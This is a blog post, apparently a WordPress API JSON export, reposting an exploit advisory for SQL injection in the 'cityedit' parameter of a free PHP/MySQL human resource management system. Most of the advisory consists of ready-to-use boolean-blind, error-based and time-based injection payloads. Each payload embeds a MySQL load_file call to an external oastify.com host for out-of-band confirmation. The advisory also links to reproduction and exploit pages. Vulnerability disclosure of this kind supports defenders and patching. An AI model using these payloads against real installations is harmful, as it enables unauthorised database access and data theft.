## Title: hrm2024.1.0-Multiple-SQLi
## Author: nu11secur1ty
## Date: 04\/02\/2024
## Vendor: https:\/\/github.com\/oretnom23
## Software: https:\/\/www.sourcecodester.com\/php\/15740\/human-resource-management-system-project-php-and-mysql-free-source-code.html
## Reference: https:\/\/portswigger.net\/web-security\/sql-injection<\/p>\n
## Description:
The cityedit parameter appears to be vulnerable to SQL injection
attacks. The payload ‘+(select
load_file(‘\\\\\\\\rjedhdhfj6b3j1usj0eoiix43v9oxklbozfm5au.oastify.com\\\\eii’))+’
was submitted in the cityedit parameter. This payload injects a SQL
sub-query that calls MySQL’s load_file function with a UNC file path
that references a URL on an external domain. The application
interacted with that domain, indicating that the injected SQL query
was executed.
The attacker can get all information from the system by using this
vulnerability!<\/p>\n
STATUS: HIGH- Vulnerability<\/p>\n[+]Payload:
“`mysql
—
Parameter: cityedit (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind – WHERE, HAVING, ORDER BY
or GROUP BY clause
Payload: cityedit=22’+(select
load_file(‘\\\\\\\\rjedhdhfj6b3j1usj0eoiix43v9oxklbozfm5au.oastify.com\\\\eii’))+”
RLIKE (SELECT (CASE WHEN (1759=1759) THEN 0x3232+(select
load_file(0x5c5c5c5c726a6564686468666a3662336a3175736a30656f696978343376396f786b6c626f7a666d3561752e6f6173746966792e636f6d5c5c656969))+”
ELSE 0x28 END)) AND ‘GMzs’=’GMzs<\/p>\n
Type: error-based
Title: MySQL >= 5.0 OR error-based – WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: cityedit=22’+(select
load_file(‘\\\\\\\\rjedhdhfj6b3j1usj0eoiix43v9oxklbozfm5au.oastify.com\\\\eii’))+”
OR (SELECT 8880 FROM(SELECT COUNT(*),CONCAT(0x716b787671,(SELECT
(ELT(8880=8880,1))),0x7178626271,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ‘qJHK’=’qJHK<\/p>\n
Type: time-based blind
Title: MySQL > 5.0.12 AND time-based blind (heavy query)
Payload: cityedit=22’+(select
load_file(‘\\\\\\\\rjedhdhfj6b3j1usj0eoiix43v9oxklbozfm5au.oastify.com\\\\eii’))+”
AND 2124=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A,
INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR
1) AND ‘Jtnd’=’Jtnd
—
“`<\/p>\n
## Reproduce:
[href](https:\/\/github.com\/nu11secur1ty\/CVE-nu11secur1ty\/tree\/main\/vendors\/oretnom23\/2024\/hrm-2024.1.0)<\/p>\n
## Proof and Exploit:
[href](https:\/\/www.nu11secur1ty.com\/2024\/04\/hrm202410-multiple-sqli.html)<\/p>\n
## Time spent:
01:15:00<\/p>\n","protected":false},"excerpt":{"rendered":"
## Title: hrm2024.1.0-Multiple-SQLi## Author: nu11secur1ty## Date: 04\/02\/2024## Vendor: https:\/\/github.com\/oretnom23## Software: https:\/\/www.sourcecodester.com\/php\/15740\/human-resource-management-system-project-php-and-mysql-free-source-code.html## Reference: https:\/\/portswigger.net\/web-security\/sql-injection ## Description:The cityedit parameter appears to be vulnerable to SQL injectionattacks. The payload ‘+(selectload_file(‘\\\\\\\\rjedhdhfj6b3j1usj0eoiix43v9oxklbozfm5au.oastify.com\\\\eii’))+’was submitted in the cityedit parameter. This payload injects a SQLsub-query that calls MySQL’s load_file function with a UNC file paththat references a URL on an external domain. The …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56112","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56112","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56112"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56112\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56112"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56112"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56112"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}